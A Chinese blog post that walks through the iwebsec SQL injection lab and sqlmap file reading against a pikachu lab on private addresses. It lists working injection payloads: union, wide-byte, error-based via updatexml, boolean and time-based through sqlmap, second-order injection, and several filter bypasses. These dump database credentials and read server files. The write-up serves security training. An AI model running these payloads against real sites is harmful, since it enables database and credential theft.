关于iwebsec的SQL注入与SQLmap读取文件

于 2025-02-27 01:13:46 发布
阅读量1.6k 收藏 25
点赞数 26
文章标签： sql 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_65915499/article/details/145891680
版权

*iwebsec*

*MySQL 数字型 SQLi*

数字型判断

id=1 and 1=1

在这里插入图片描述

id=1 and 1=2

在这里插入图片描述

id=1 order by 3–+

在这里插入图片描述

id=1 order by 4–+

在这里插入图片描述

id=1 union select 1,2,3–+

在这里插入图片描述

id=1 union select 1,2,database()–+

在这里插入图片描述

id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’–+

在这里插入图片描述

id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’–+

在这里插入图片描述

id=1 union select 1,2,group_concat(username,‘*’,password) from users–+

在这里插入图片描述

获得账号密码

*MySQL 字符型 SQLi*

本题实际上对’进行了转义

实际为宽字节注入

尝试id=1%df%27

在这里插入图片描述

增加注释–+

在这里插入图片描述

id=1%df%27%20order%20by%203–+

在这里插入图片描述

id=1%df%27%20order%20by%204–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,3–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,database()–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273–+

在这里插入图片描述

id=1%df%27%20union%20select%201,username,password%20from%20users–+

在这里插入图片描述

获得账号密码

*MySQL bool SQLi*

使用sqlmap

sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch --dbs

在这里插入图片描述

sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch -D iwebsec --tables

在这里插入图片描述

sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch -D iwebsec -T users --columns

在这里插入图片描述

sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch -D iwebsec -T users -C username,password --dump

在这里插入图片描述

获取到账号密码

*MySQL sleep SQLi*

使用sqlmap

sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch --dbs

在这里插入图片描述

sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch -D iwebsec --tables

在这里插入图片描述

sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch -D iwebsec -T users --columns

在这里插入图片描述

sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch -D iwebsec -T users -C username,password --dump

在这里插入图片描述

获取到账号密码

*MySQL updatexml SQLi*

使用报错注入

id=-1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

在这里插入图片描述

id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’),0x7e),1)#

在这里插入图片描述

id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’),0x7e),1)#

在这里插入图片描述

id=-1 or updatexml(1,concat(0x7e,(select group_concat(username,‘*’,password) from users),0x7e),1)#

在这里插入图片描述

获取到账号密码

*MYSQL 宽字节SQLi*

与之前字符型一致

id=1%df%27%20order%20by%203–+

在这里插入图片描述

id=1%df%27%20order%20by%204–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,3–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,database()–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()–+

在这里插入图片描述

id=1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273–+

在这里插入图片描述

id=1%df%27%20union%20select%201,username,password%20from%20users–+

在这里插入图片描述

获得账号密码

*空格过滤*

空格使用/**/替代

数字型

id=1//order//by/**/3

在这里插入图片描述

id=-1//union//select/**/1,2,3

在这里插入图片描述

id=-1//union//select/**/1,2,database()

在这里插入图片描述

id=-1//union//select//1,2,group_concat(table_name)//from//information_schema.tables//where/**/table_schema=‘iwebsec’

在这里插入图片描述

id=-1//union//select//1,2,group_concat(column_name)//from//information_schema.columns//where//table_schema=‘iwebsec’//and/**/table_name=‘users’

在这里插入图片描述

id=-1//union//select//1,username,password//from/**/users

在这里插入图片描述

获得账号密码

*大小写过滤*

数字型

id=1 order by 3

在这里插入图片描述

select被过滤，通过Select绕过

id=-1 union Select 1,2,3

在这里插入图片描述

id=-1 union Select 1,2,database()

在这里插入图片描述

id=-1 union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’

在这里插入图片描述

id=-1 union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’

在这里插入图片描述

id=-1 union Select 1,username,password from users

在这里插入图片描述

获得账号密码

*双写关键字绕过*

id=1 order by 3

在这里插入图片描述

select被过滤，使用seselectlect绕过

id=-1 union seselectlect 1,2,3

在这里插入图片描述

id=-1 union seselectlect 1,2,database()

在这里插入图片描述

id=-1 union seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’

在这里插入图片描述

id=-1 union seselectlect 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’

在这里插入图片描述

id=-1 union seselectlect 1,username,password from users

在这里插入图片描述

获得账号密码

*双重url编码绕过*

与之前一致过滤了select

使用双重url编码 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34

id=-1 union %2573%2565%256c%2565%2563%2574 1,2,3

在这里插入图片描述

id=-1 union %2573%2565%256c%2565%2563%2574 1,2,database()

在这里插入图片描述

id=-1 union %2573%2565%256c%2565%2563%2574 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’

在这里插入图片描述

id=-1 union %2573%2565%256c%2565%2563%2574 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’

在这里插入图片描述

id=-1 union %2573%2565%256c%2565%2563%2574 1,username,password from users

在这里插入图片描述

获得账号密码

*十六进制编码绕过*

id=-1 union select 1,2,3

在这里插入图片描述

id=-1 union select 1,2,database()

在这里插入图片描述

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

users用0x7573657273替代

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

在这里插入图片描述

id=-1 union select 1,username,password from users

在这里插入图片描述

获取到账号密码

*等价函数替换过滤*

id=-1 union select 1,2,3

在这里插入图片描述

id=-1 union select 1,2,database()

在这里插入图片描述

过滤了=，用like替代

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like ‘iwebsec’

在这里插入图片描述

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like ‘iwebsec’ and table_name like ‘users’

在这里插入图片描述

id=-1 union select 1,username,password from users

在这里插入图片描述

获得账号密码

*MySQL二次注入*

注册admin’

在这里插入图片描述

找回密码

在这里插入图片描述

发现报错

尝试注册admin’#

之后找回密码

在这里插入图片描述

获取到账号密码

*使用sqlmap读外部文件*

在pikachu字符型尝试

使用–file-read读取

sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --file-read=“C:\Users\Administrator\Desktop\1.txt” --batch

在这里插入图片描述

发现保存到一个路径下，查看内容

cat /root/.local/share/sqlmap/output/192.168.100.129/files/C__Users_Administrator_Desktop_1.txt

在这里插入图片描述

123654789
读取成功

云生千相
关注
简学-Sqlmap（读取server文件）
码农米格的博客
03-01 2229
简学-Sqlmap0x00 前言0x01 查看当前数据库管理用户及相关权限0x02 从服务器端读取文件到本地0x03 将本地文件传输到服务器上0x04 Sqlmap 获取可执行 shell 0x00 前言 今天学习了一些 sqlmap 对数据库文件进行操作的相关参数，并做此总结。 本次实验环境是 sqli-labs，经典的练习注入测试平台，相关的实验台的搭建的方法也是网上随处可见的。 学习所用系统环境为：kali Linux，自带了许多安全工具的 Linux 系统。 0x01 查看当前数据库管理
sql注入知识点
m0_55772907的博客
04-27 3869
1 Sqllab渗透测试天书 Microsoft英文文档 ORDER BY Clause (Transact-SQL) - SQL Server | Microsoft DocsSELECT - ORDER BY Clause (Transact-SQL)https://docs.microsoft.com/en-us/sql/t-sql/queries/select-order-by-clause-transact-sql?view=sql-server-ver152 Iwebsec靶场 判断字
sqlmap使用之读写文件-执行命令
千寻的博客
08-06 5367
文章目录sqlmap-读写文件-执行命令-基础实验实验目的实验环境实验工具实验内容步骤1. 访问目标机web页面步骤2. 发现注入点步骤3. 进入os-shell交互界面步骤4 选择网站语言步骤5 输入网站的绝对路径步骤6. 读取网站敏感文件如/etc/passwd步骤7.在当前目录下写入任意文件，这里我写入shell.php一句话木马步骤8.使用蚁剑执行总结免责声明 sqlmap-读写文件-执行命令-基础实验 实验目的 练习sqlmap读写文件-执行命令 实验环境 目标机：window server 2
sqlmap基础知识（二）
ys1215的博客
03-30 1569
sqlmap 使用二
sqlmap使用技巧大全
"黑色键盘's Bolg"
12-25 687
常见参数： -u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p “page,id”) -D “” #指定数据库名 -T “” #指定表名 -C “” #指定字段 Options（选项）： --version #显示程序的版本号并退出 -h, --help #显示
sqlmap获取目标
m_de_g的博客
08-24 1342
从文本文件中读取Http请求作为Sql注入探测的目标。从sitemap.xml站点地图文件中读取目标探测。从多行文本格式文件读取多个目标，对多个目标进行探测。sqlmap支持直连数据库，通过以下命令来直连。从配置文件sqlmap.conf中读取目标探测。sqlmap直接对单一URL探测，参数使用。种注入的方式，web服务器的操作系统是。支持从不同类型的文件中读取目标进行。通过探测可以知道，此处的。:表示数据库的用户名。
Web：SqlMap工具
最新发布
qq_55038440的博客
08-16 1519
sqlmap 是一款开源的渗透测试工具，可以自动化进行SQL注入的检测、利用，并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合，其中包括数据库指纹识别、数据读取和访问底层文件系统，甚至可以通过带外数据连接的方式执行系统命令。sqlmap可以运行在python2.6、2.7和3.x的任何平台上。
Sqlmap获取目标
qq_43776408的博客
06-04 647
sqlmap直连数据库 -d表示直连 –banner 获取banner信息 Sqlmap 进行URL探测 Sqlmap文件读取目标 之前只探测一个URL 现在探测多个URL 对于第一个我们在windows下进行 先设置windows下的浏览器代理 然后在kali中打开burp进行一些设置 具体设置上面那张图片有 然后开始打开网站 burp截取到的数据包会自动存到一个文件中 然后sqlmap中输入 python sqlmap.py -l 文件名 就可以了 对于第三个新建一个文本文件 文件中每一行输入一个
【网安神器篇】——Sqlmap详解
Demo不是emo的博客
01-13 1万+
sqlmap源码阅读
SQLMap使用|命令大全（干货）
热门推荐
qq_45719090的博客
02-27 2万+
适合新手的sqlmap使用教程，附带sqlmap命令
sqlmap 读key
weixin_51387754的博客
11-23 598
sqlmap读key
sqlmap 读写文件
weixin_48734687的博客
10-13 4377
sqlmap 读写文件 读文件 靶场：sqli-lab less-1 读取文件前提 权限足够 mysql 配置文件my.ini中的变量secure_file_priv值不为空(secure_file_priv=) 服务器能够回显数据 所用到的sql语句 select load_file(路径文件名) shell -1’ union select 1,load_file(‘D:/web_address.txt’),3–+ 写文件 靶场：sqli-lab less-7 写入文件前提 权限足够 开
SQLMap的详细使用教程
Kali与编程
03-26 1112
SQLMap是一款功能强大的自动化SQL注入工具，可用于发现和利用Web应用程序中的SQL注入漏洞。除了基本的SQL注入攻击，SQLMap还提供了许多高级功能，如POST请求注入、Cookie注入、文件读取等。其中，“-T tablename”表示指定表名，“–columns”表示列出所有可用的列名。其中，“-D dbname”表示指定数据库名称，“–tables”表示列出所有可用的表名。其中，“-C columnname”表示指定列名，“–dump”表示将结果输出到文件中。
Sqlmap进阶命令使用
一醉一休的博客
02-27 2463
一.使用条件 想通过SQL注入获取对方服务器权限，需要满足以下条件：  (1)当前SQL注入的用户必须为DBA权限(–is-dba为true)  (2)需要知道网站的绝对路径  (3)GPC为off，php主动转义功能为关闭  (4)my.ini文件中的这项配置secure_file_priv="" 为空 二.文件操作 如何知道绝对路径 1.探针文件，phpinfo文件，在phpinfo文件中搜索DOCUMENT_ROOT 2.报错页面，ThinkPHP，debug=true 报错 , IIS报错 3.
sqlmap使用教程
weixin_57048716的博客
11-26 1902
常用步骤： 1.探测数据库名 --dbs --batch 2.探测表名 -D 库名 --tables --batch 3.探测字段名 -D 库名 -T 表名 --columns --batch 4.探测字段值 -D 库名 -T 表名 -C username(字段)，password --dump --batch
详细:Sqlmap入门到进阶使用手册
qq_60115503的博客
04-13 4632
详细:Sqlmap入门到进阶使用手册 本文介绍sqlmap的原理到sqlmap入门使用到最后sqlmap进阶使用操作
SQLMAP工具详解
weixin_56218159的博客
06-02 1万+
免责声明 该文章仅用于信息防御技术的交流和学习，请勿用于其他用途； 在未得到网站授权前提下，禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试；技术是把双刃剑，请遵纪守法，做一名合格的白帽子安全专家，为国家的网络安全事业做出贡献； ...
Sqlmap常用命令总结
jemus17的博客
02-26 5131
sql注入，sqlmap的常用命令总结
SQL注入工具sqlmap新版本发布 - 安全测试更进一步
此外，它还可以从本地文件系统读取数据，尝试使用本地或外部文件包含（LFI/RFI）漏洞来获取数据库凭据，以及执行复杂的SQL注入攻击。sqlmap内置了多种payloads，用于各种SQL注入攻击和数据库服务器指纹识别。它还...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值